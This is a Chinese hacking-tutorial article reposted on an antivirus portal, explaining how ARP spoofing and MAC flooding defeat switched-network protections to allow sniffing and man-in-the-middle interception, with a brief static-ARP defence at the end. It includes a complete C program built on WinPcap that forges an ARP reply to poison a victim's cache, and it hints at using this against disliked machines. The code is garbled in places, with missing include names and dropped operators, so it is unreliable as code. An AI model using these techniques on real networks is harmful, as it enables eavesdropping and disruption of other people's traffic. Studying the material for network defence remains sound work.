主 页  下载中心 文章中心 在线杀毒 软件论坛
国内杀毒软件     瑞星杀毒 金山毒霸 江民杀毒 光华反病毒 更多... 木马专杀   木马杀客 木马克星 木马清道夫 AVG(原Ewido)Anti-Spyware 更多...
国外杀毒软件     卡巴斯基   诺顿   趋势 安博士 熊猫卫士  小红伞 驱逐舰 麦咖啡McAfee   NOD32   F-Secure   Dr.Web   Avast   更多...
升级补丁   瑞星升级 金山毒霸升级 江民升级 光华升级 卡巴斯基升级 诺顿升级 趋势升级 安博士升级 NOD32升级 Dr.Web升级 Avast升级
流氓软件清理     360安全卫士 瑞星卡卡   金山毒霸系统清理专家 Wopti流氓软件清除大师   恶意软件清理助手   超级兔子网络卫士 更多...
防火墙     天网 费尔 冰盾 更多... 病毒专题     熊猫烧香病毒专题 电眼间谍病毒专题 AV终结者病毒专题 灰鸽子清理     更多...
系统漏洞补丁     windowXP系统漏洞补丁 window2000系统漏洞补丁 window2003系统漏洞补丁 windowVISTA系统漏洞补丁 更多...
 您当前的位置:爱客者 -> 文章中心 -> 网络安全 -> 黑客攻防 -> 文章内容
黑客技术:交换网络中的嗅探和arp欺骗
来源:网络 时间:2006-10-15

  以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。

  arp缓存表

  假设这样一个网络:

  ——————————
    hub  
  ——————————
       
       
       
  hosta hostb hostc

  其中

  a的地址为:ip:192.168.10.1 mac: aa-aa-aa-aa-aa-aa

  b的地址为:ip:192.168.10.2 mac: bb-bb-bb-bb-bb-bb

  c的地址为:ip:192.168.10.3 mac: cc-cc-cc-cc-cc-cc

  假设b是属于一个嗅探爱好者的,比如a机器的arp缓存:

  c:\>arp -a

  interface: 192.168.10.1 on interface 0x1000003

  internet address physical address type

  192.168.10.3 cc-cc-cc-cc-cc-cc dynamic

  这是192.168.10.1机器上的arp缓存表,假设,a进行一次ping 192.168.10.3操作,ping主机c,会查询本地的arp缓存表,找到c的ip地址的mac地址,那么就会进行数据传输,目的地就是c 的mac地址。如果a中没有c的arp记录,那么a首先要广播一次arp请求,当c接收到a 的请求后就发送一个应答,应答中包含有c的mac地址,然后a接收到c的应答,就会更新本地的arp缓存。接着使用这个mac地址发送数据(由网卡附加mac地址)。

  因此,本地高速缓存的这个arp表是本地网络流通的基础,而且这个缓存是动态的。

  集线器网络(hub-based)

  很多网络都是用hub进行连接的。数据包经过hub传输到其他计算机的时候,hub只是简单地把这个数据包广播到hub的所有端口上。

  这就是上面举例中的一种网络结构。

  现在a需要发送tcp数据包给c。首先,a需要检查本地的arp 缓存表,查看是否有ip为192.168.10.3即c的arp记录,如果没有那么a将要广播一个arp请求,当c接收到这个请求后,就作出应答,然后a更新自己的arp缓存表。并且获得与c的ip相对应的mac地址。这时就传输这个tcp数据包,ethernet帧中就包含了c的mac地址。当数据包传输到hub的时候,hub直接把整个数据包广播到所有的端口,然后c就能够接收到a发送的数据包。

  正因为hub把数据广播到所有的端口,所以计算机b也能够收到a发送给c的数据包。这正是达到了b嗅探的目的。

  因此,hub-based的网络基本没有
安全可言,嗅探在这样的网络中非常容易。

  交换网络(switched lan)

  交换机用来代替hub,正是为了能够解决hub的几个安全问题,其中就是能够来解决嗅探问题。switch不是把数据包进行端口广播,它将通过自己的arp缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面例子中的hub换为switch,b就不会接收到a发送给c的数据包,即便设置网卡为混杂模式,也不能进行嗅探。

  arp欺骗( arp spoofing)

  arp协议并不只在发送了arp请求才接收arp应答。当计算机接收到arp应答数据包的时候,就会对本地的arp缓存进行更新,将应答中的ip和mac地址存储在arp缓存中。因此,在上面的假设网络中,b向a发送一个自己伪造的arp应答,而这个应答中的数据为发送方ip地址是192.168.10.3(c的ip地址),mac地址是dd-dd-dd-dd-dd-dd(c的mac地址本来应该是cc-cc-cc-cc-cc-cc,这里被伪造了)。当a接收到b伪造的arp应答,就会更新本地的arp缓存(a可不知道被伪造了)。

  现在a机器的arp缓存更新了:

  c:\>arp -a

  interface: 192.168.10.1 on interface 0x1000003

  internet address physical address type

  192.168.10.3 dd-dd-dd-dd-dd-dd dynamic

  这可不是小事。局域网的网络流通可不是根据ip地址进行,而是按照mac地址进行传输。现在192.168.10.3的

  mac地址在a上被改变成一个本不存在的mac地址。现在a开始ping 192.168.10.3,网卡递交的mac地址是dd-dd-dd-dd-dd-dd,结果是什么呢?网络不通,a根本不能ping通c!!这就是一个简单的arp欺骗。

  我们来实现这样的arp欺骗。这里需要使用一个winpcap提供的api和驱动。(http://winpcap.polito.it/)

  winpcap是一个伟大而且开放的项目。windows环境下的nmap、snort、windump都是使用的winpcap。

  ///////////////////////////////////////////////////////

  //

  // arp sender

  //

  // creator: refdom

  // email: refdom@263.net

  // home page: www.opengram.com

  //

  // 2002/4/7

  //

  ///////////////////////////////////////////////////////

  #include "stdafx.h"

  #include "mac.h"

  //getmacaddr(),我写的把字符串转换为mac地址的函数,就不列在这里了

  #include

  #include

  #define ept_ip0x0800/* type: ip*/

  #define ept_arp0x0806/* type: arp */

  #define ept_rarp0x8035/* type: rarp */

  #define arp_hardware 0x0001/* dummy type for 802.3 frames */

  #definearp_request0x0001/* arp request */

  #definearp_reply0x0002/* arp reply */

  #define max_num_adapter 10

  #pragma pack(push, 1)

  typedef struct ehhdr

  {

  unsigned chareh_dst[6];/* destination ethernet addrress */

  unsigned chareh_src[6];/* source ethernet addresss */

  unsigned shorteh_type;/* ethernet pachet type*/

  }ehhdr, *pehhdr;

  typedef struct arphdr

  {

  unsigned shortarp_hrd;/* format of hardware address */

  unsigned shortarp_pro;/* format of protocol address */

  unsigned chararp_hln;/* length of hardware address */

  unsigned chararp_pln;/* length of protocol address */

  unsigned shortarp_op;/* arp/rarp operation */

  unsigned chararp_sha[6];/* sender hardware address */

  unsigned longarp_spa;/* sender protocol address */

  unsigned chararp_tha[6];/* target hardware address */

  unsigned longarp_tpa;/* target protocol address */

  }arphdr, *parphdr;
  
  typedef struct arppacket

  {

  ehhdrehhdr;

  arphdrarphdr;

  } arppacket, *parppacket;

  #pragma pack(pop)

  int main(int argc, char* argv[])

  {

  static char adapterlist[max_num_adapter][1024];

  char szpacketbuf[600];

  char macaddr[6];

  lpadapterlpadapter;

  lppacketlppacket;

  wcharadaptername[2048];

  wchar*temp,*temp1;

  arppacket arppacket;

  ulong adapterlength = 1024;

  int adapternum = 0;

  int nretcode, i;

  //get the list of adapter

  if(packetgetadapternames((char*)adaptername,&adapterlength)==false)

  {

  printf("unable to retrieve the list of the adapters!\n");

  return 0;

  }

  temp = adaptername;

  temp1=adaptername;

  i = 0;

  while ((*temp != "\0")  (*(temp-1) != "\0"))

  {

  if (*temp == "\0")

  {

  memcpy(adapterlist[i],temp1,(temp-temp1)*2);

  temp1=temp+1;

  i++;

  }

  temp++;

  }

  adapternum = i;

  for (i = 0; i < adapternum; i++)

  wprintf(l"\n%d- %s\n", i+1, adapterlist[i]);

  printf("\n");

  //default open the 0

  lpadapter = (lpadapter) packetopenadapter((lptstr) adapterlist[0]);

   //取第一个网卡(假设啦)

  if (!lpadapter    (lpadapter->hfile == invalid_handle_value))

  {

  nretcode = getlasterror();

  printf("unable to open the driver, error code : %lx\n", nretcode);

  return 0;

  }

  lppacket = packetallocatepacket();

  if(lppacket == null)

  {

  printf("\nerror:failed to allocate the lppacket structure.");

  return 0;

  }

  zeromemory(szpacketbuf, sizeof(szpacketbuf));

  if (!getmacaddr("bbbbbbbbbbbb", macaddr))

  {

  printf ("get mac address error!\n");

  }

  memcpy(arppacket.ehhdr.eh_dst, macaddr, 6); //源mac地址

  if (!getmacaddr("aaaaaaaaaaaa", macaddr))

  {

  printf ("get mac address error!\n");

  return 0;

  }

  memcpy(arppacket.ehhdr.eh_src, macaddr, 6); //目的mac地址。(a的地址)

  arppacket.ehhdr.eh_type = htons(ept_arp);

  arppacket.arphdr.arp_hrd = htons(arp_hardware);

  arppacket.arphdr.arp_pro = htons(ept_ip);

  arppacket.arphdr.arp_hln = 6;

  arppacket.arphdr.arp_pln = 4;

  arppacket.arphdr.arp_op = htons(arp_reply);

  if (!getmacaddr("dddddddddddd", macaddr))

  {

  printf ("get mac address error!\n");

  return 0;

  }

  memcpy(arppacket.arphdr.arp_sha, macaddr, 6);//伪造的c的mac地址

  arppacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //c的ip地址

  if (!getmacaddr("aaaaaaaaaaaa", macaddr))

  {

  printf ("get mac address error!\n");

  return 0;

  }

  memcpy(arppacket.arphdr.arp_tha , macaddr, 6); //目标a的mac地址

  arppacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标a的ip地址

  memcpy(szpacketbuf, (char*)&arppacket, sizeof(arppacket));

  packetinitpacket(lppacket, szpacketbuf, 60);

  if(packetsetnumwrites(lpadapter, 2)==false)

  {

   printf("warning: unable to send more than one packet in

   a single write!\n");

  }

  if(packetsendpacket(lpadapter, lppacket, true)==false)

  {

  printf("error sending the packets!\n");

  return 0;

  }

  printf ("send ok!\n");

  // close the adapter and exit

  packetfreepacket(lppacket);

  packetcloseadapter(lpadapter);

  return 0;

  }

  于是a接收到一个被伪造的arp应答。a被欺骗了!!倘若在局域网中看某某机器不顺眼,……

  以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能够发现,主机、switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的arp欺骗基础中我们就能够做到。

  对目标进行arp欺骗

  就象上面程序中实现的一样,对目标a进行欺骗,a去ping主机c却发送到了dd-dd-dd-dd-dd-dd这个地址上。如果进行欺骗的时候,把c的mac地址骗为bb-bb-bb-bb-bb-bb,于是a发送到c上的数据包都变成发送给b的了。这不正好是b能够接收到a发送的数据包了么,嗅探成功。

  a对这个变化一点都没有意识到,但是接下来的事情就让a产生了怀疑。因为a和c连接不上了!!b对接收到a发送给c的数据包可没有转交给c。

  做“man in the middle”,进行arp重定向。打开b的ip转发功能,a发送过来的数据包,转发给c,好比一个路由器一样。不过,假如b发送icmp重定向的话就中断了整个计划。

  直接进行整个包的修改转发,捕获到a发送给的数据包,全部进行修改后再转发给c,而c接收到的数据包完全认为

  是从a发送来的。不过,c发送的数据包又直接传递给a,倘若再次进行对c的arp欺骗。现在b就完全成为a与c的中间桥梁了。

  对switch的mac欺骗

  switch上同样维护着一个动态的mac缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对应mac地址表port n <-> mac记录着每一个端口下面存在那些mac地址,这个表开始是空的,交换机从来往数据帧中学习。举例来说,当port 1口所接的计算机发出了一个数据帧,这帧数据从port 1进入交换机,交换机就取这个数据帧的原mac地址aaaa,然后在地址表中记录:port 1 <-> aaaa, 以后,所有发向mac地址为aaaa的数据帧,就全从port 1口输出,而不会从其它的口输出。

  跟前面对目标进行欺骗相类似。如果把switch上的mac-port表修改了,那么对应的mac和port就一样跟着改变,本来不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(b)发送的数据包mac地址为原来a的mac地址,当经过交换机的时候,交换机发现端口b对应的地址是机器a的mac地址,于是就将会把a的mac地址同端口b相对应,从而把发送给a的数据从端口b传输了,本来这些应该是传送到端口a的。因此,从机器b就能够获得发送给a的数据。

  但是,这里有一个问题,a将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,

  让交换机中一个mac地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。

  对switch进行flood

  就象上面介绍switch的mac和port对应关系形成的原理,因为mac-port缓存表是动态更新的,那么让整个switch的端口表都改变,对switch进行mac地址欺骗的flood,不断发送大量假mac地址的数据包,switch就更新mac-port缓存,如果能通过这样的办法把以前正常的mac和port对应的关系破坏了,那么switch就会进行泛洪发送给每一个端口,让switch基本变成一个hub,向所有的端口发送数据包,要嗅探的目的一样能够达到。

  存在的问题,switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情

  况的switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。

  对switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。

  至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的arp就能够进行防范了。对于win,使用

  arp -s 来进行静态arp的设置。

  感谢winpcap这个开放项目,也感谢dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够,还请多指正


相关新闻
攻防全面分析 常用九种攻击方法2007/7/8
看不见摸不着?谁在威胁你的网络2007/6/25
FBI介入黑客案件 60个国家整顿2007/6/25
不可承受的零时差攻击2007/6/12
防黑 反溢出加密码控制CMD权限2007/6/12
 
    其它相关新闻
·攻防全面分析 常用九种攻击方法
·看不见摸不着?谁在威胁你的网络
·FBI介入黑客案件 60个国家整顿
·不可承受的零时差攻击
·防黑 反溢出加密码控制CMD权限
·黑客策动网络金融大战 疯狂敛财
·抵御来自 Sniffer的嗅探攻击
    最新新闻
·磁碟机病毒的十大罪行
·病毒预警:光华反病毒资讯(7月16日-7月22日)
·病毒预警:光华反病毒资讯(7月9日-7月15日)
·用Regsvr32命令解决系统疑难杂症
·Windows的DLL文件原理与修改方法
·如何隐藏硬盘分区
·攻防全面分析 常用九种攻击方法
·卡巴再次误报 将注册表判为木马
·英特尔酷睿2存在安全缺陷
    相关软件下载
·AVG(原Ewido)Anti-Spyware最新完整病毒库更新(2008.06.02)-Anti-Spyware升级包
·AVG(原Ewido)Anti-Spyware每日增量病毒库更新(2008.06.02)-Anti-Spyware升级包
·Kaspersky Anti-Virus7.0.0.125增量包(2008.05.31)-卡巴斯基升级包
·Kaspersky Internet Security7.0.0.125完整升级包(2008.06.01)-卡巴斯基升级包
·熊猫卫士06月01号最新病毒升级包通用版-熊猫卫士升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.0 VPS更新-Avast升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.x VPS更新-Avast升级包
·小红伞AntiVir最新病毒库(2008.06.01) for WindowsNT/2000/XP-小红伞升级包
·McAfee VirusScan DAT 5306病毒库-麦咖啡升级包
·更多相关杀毒软件
  [本站导航]  
瑞星  瑞星杀毒软件瑞星升级包 瑞星杀毒瑞星2007 瑞星在线杀毒瑞星杀毒软件下载瑞星升级
卡巴斯基  卡巴斯基下载卡巴斯基6.0卡巴斯基杀毒软件卡巴斯基7.0卡巴斯基病毒库卡巴斯基升级包
江民  江民杀毒软件江民杀毒江民2007江民杀毒软件下载江民升级包江民升级江民离线升级包
金山毒霸  金山毒霸2007下载金山毒霸下载金山毒霸2007升级包金山毒霸升级金山毒霸杀毒软件
诺顿  诺顿杀毒软件诺顿杀毒诺顿病毒库诺顿企业版诺顿升级包诺顿升级诺顿下载
小红伞AntiVir  德国小红伞小红伞下载小红伞中文小红伞杀毒软件小红伞汉化Avira AntiVir
麦咖啡McAfee  麦咖啡杀毒软件麦咖啡升级包麦咖啡8.0麦咖啡企业版麦咖啡8.5mcafee virusscan
NOD32  nod32升级nod32升级服务器nod32下载nod32 2.7nod32升级idnod32更新nod32升级包
F-Secure  F-secure杀毒软件f-secure anti-virusF-secure汉化版F-secure注册机F-secure2007
Dr.Web  dr.web keydr.web cureitdr.web注册码dr.web汉化dr.web病毒库大蜘蛛大蜘蛛杀毒软件
Avast  avast注册码 序列号avast antivirusavast杀毒软件avast中文版avast 升级avast升级包
木马专杀  木马杀客木马克星AVG Ewido Anti-SpywareAVG Ewido Anti-Spyware升级包 更新
防火墙  瑞星防火墙天网防火墙arp防火墙瑞星个人防火墙江民防火墙防火墙下载风云防火墙
流氓软件清理  瑞星卡卡360安全卫士Wopti流氓软件清除大师奇虎360安全卫士360安全卫士绿色版
推荐软件  Firefox火狐浏览器浏览器Picasa照片处理软件非主流图片制作软件非主流照片制作
关于本站 - 广告合作 - 联系我们 - 下载声明 - 网站地图 - RSS2.0 - 合作伙伴:爱客宝
Copyright©1998 - 2007 爱客者 All Rights Reserved

粤ICP备07006801号